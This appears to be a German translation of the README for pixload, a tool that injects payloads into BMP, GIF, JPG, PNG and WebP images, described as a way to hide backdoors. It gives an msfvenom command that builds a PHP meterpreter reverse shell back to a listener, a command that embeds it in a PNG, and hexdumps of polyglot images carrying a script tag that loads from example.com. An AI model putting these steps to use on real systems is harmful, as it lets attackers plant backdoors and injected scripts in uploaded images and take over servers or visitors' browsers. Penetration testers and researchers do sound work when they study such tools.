
Werkzeuge zur Erstellung/Injektion von Bild-Payloads
Sammlung von Werkzeugen zum Verstecken von Backdoors Erstellen/Injizieren von Payloads in Bilder.
Die folgenden Bildtypen werden derzeit unterstützt: BMP, GIF, JPG, PNG, WebP.
Nützliche Referenzen zum besseren Verständnis von pixload und seinen Anwendungsfällen:
Wenn Sie einen Payload so kodieren möchten, dass das resultierende Binär-BLOB sowohl gültiger x86-Shellcode als auch eine gültige Bilddatei ist, empfehle ich Ihnen, hier und hier nachzusehen.
Wenn Sie einen Metasploit-Payload injizieren möchten, müssen Sie etwa Folgendes tun:
$ msfvenom -p php/meterpreter_reverse_tcp \
LHOST=192.168.0.1 LPORT=31337 -f raw 2>/dev/null > payload.php
Bearbeiten Sie ggf. payload.php.
Injizieren Sie payload.php in das Bild (z.B. png).
$ pixload-png --payload "$(cat payload.php)" payload.png
Die folgenden Perl-Module werden benötigt:
GD
Image::ExifTool
String::CRC32
Installieren Sie diese Pakete auf Debian-basierten Systemen:
sudo apt install libgd-perl libimage-exiftool-perl libstring-crc32-perl
Installieren Sie diese Pakete auf FreeBSD und DragonFlyBSD:
doas pkg install p5-GD p5-Image-ExifTool p5-String-CRC32
Auf OSX beachten Sie bitte diesen Workaround
(Danke an @iosdec).
make install
docker build -t pixload .
docker run -v "$(pwd):/pixload" -it --rm pixload
$ pixload-bmp --help
Verwendung: pixload-bmp [OPTION]... DATEI
Payload/Bösartigen Code in BMP-Bildern verstecken.
Obligatorische Argumente für lange Optionen sind auch für kurze Optionen obligatorisch.
-P, --payload STRING Payload für die Injektion festlegen
-v, --version Version anzeigen und beenden
-h, --help Hilfe anzeigen und beenden
Wenn die Ausgabedatei bereits existiert, wird der Payload in diese vorhandene Datei injiziert.
Andernfalls wird eine neue erstellt.
$ pixload-bmp payload.bmp
...... BMP Payload Creator/Injector ......
..........................................
... https://github.com/sighook/pixload ...
..........................................
[>] Generating output file
[✔] File saved to: payload.bmp
[>] Injecting payload into payload.bmp
[✔] Payload was injected successfully
payload.bmp: PC bitmap, OS/2 1.x format, 1 x 1 x 24, cbSize 10799, bits offset 26
00000000 42 4d 2f 2a 00 00 00 00 00 00 1a 00 00 00 0c 00 |BM/*............|
00000010 00 00 01 00 01 00 01 00 18 00 00 00 ff 00 2a 2f |..............*/|
00000020 3d 31 3b 3c 73 63 72 69 70 74 20 73 72 63 3d 2f |=1;<script src=/|
00000030 2f 65 78 61 6d 70 6c 65 2e 63 6f 6d 3e 3c 2f 73 |/example.com></s|
00000040 63 72 69 70 74 3e 3b |cript>;|
00000047
Siehe Handbuchseite pixload-bmp(1) für weitere Informationen.
$ pixload-gif --help
Verwendung: pixload-gif [OPTION]... DATEI
Payload/bösartigen Code in GIF-Bildern verstecken.
Obligatorische Argumente für lange Optionen sind auch für kurze Optionen obligatorisch.
-W, --pixelwidth INTEGER (hat keine Wirkung)
Pixelbreite für das neue Bild festlegen (Standard: 10799)
-H, --pixelheight INTEGER Pixelhöhe für das neue Bild festlegen (Standard: 32)
-P, --payload STRING Payload für die Injektion festlegen
-v, --version Version anzeigen und beenden
-h, --help Hilfe anzeigen und beenden
Die Option -W, --pixelwidth hat keine Wirkung, da pixload-gif die
Pixelbreiten-Bytes mit "/*"-Zeichen überschreibt, um das polyglotte GIF-Bild
vorzubereiten.
Wenn die Ausgabedatei bereits existiert, wird der Payload in diese vorhandene Datei
injiziert. Andernfalls wird eine neue mit der angegebenen Pixelbreite erstellt.
$ pixload-gif payload.gif
...... GIF Payload Creator/Injector ......
..........................................
... https://github.com/sighook/pixload ...
..........................................
[>] Generating output file
[✔] File saved to: payload.gif
[>] Injecting payload into payload.gif
[✔] Payload was injected successfully
payload.gif: GIF image data, version 87a, 10799 x 32
00000000 47 49 46 38 37 61 2f 2a 20 00 80 00 00 04 02 04 |GIF87a/* .......|
00000010 00 00 00 2c 00 00 00 00 20 00 20 00 00 02 1e 84 |...,.... . .....|
00000020 8f a9 cb ed 0f a3 9c b4 da 8b b3 de bc fb 0f 86 |................|
00000030 e2 48 96 e6 89 a6 ea ca b6 ee 0b 9b 05 00 3b 2a |.H............;*|
00000040 2f 3d 31 3b 3c 73 63 72 69 70 74 20 73 72 63 3d |/=1;<script src=|
00000050 2f 2f 65 78 61 6d 70 6c 65 2e 63 6f 6d 3e 3c 2f |//example.com></|
00000060 73 63 72 69 70 74 3e 3b |script>;|
00000068
Siehe Handbuchseite pixload-gif(1) für weitere Informationen.
$ pixload-jpg --help
Verwendung: pixload-jpg [OPTION]... DATEI
Payload/Bösartigen Code in JPEG-Bildern verstecken.
Obligatorische Argumente für lange Optionen sind auch für kurze Optionen obligatorisch.
-S, --section COM|DQT Abschnitt für Payload-Injektion festlegen
-P, --payload STRING Payload für die Injektion festlegen
-v, --version Version anzeigen und beenden
-h, --help Hilfe anzeigen und beenden
Wenn die Ausgabedatei bereits existiert, wird der Payload in diese vorhandene Datei
injiziert. Andernfalls wird eine neue erstellt.
$ pixload-jpg -S com payload.jpg
..... JPEG Payload Creator/Injector ......
..........................................
... https://github.com/sighook/pixload ...
..........................................
[>] Generating output file
[✔] File saved to: payload.jpg
[>] Injecting payload into COMMENT
[✔] Payload was injected successfully
payload.jpg: JPEG image data, progressive, precision 8, 1x1, components 1
00000000 ff d8 ff fe 00 25 3c 73 63 72 69 70 74 20 73 72 |.....%<script sr|
00000010 63 3d 2f 2f 65 78 61 6d 70 6c 65 2e 63 6f 6d 3e |c=//example.com>|
00000020 3c 2f 73 63 72 69 70 74 3e ff db 00 43 00 01 01 |</script>...C...|
00000030 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 |................|
*
00000060 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff c2 |................|
00000070 00 0b 08 00 01 00 01 01 01 11 00 ff c4 00 14 00 |................|
00000080 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000090 03 ff da 00 08 01 01 00 00 00 01 3f ff d9 |...........?..|
0000009e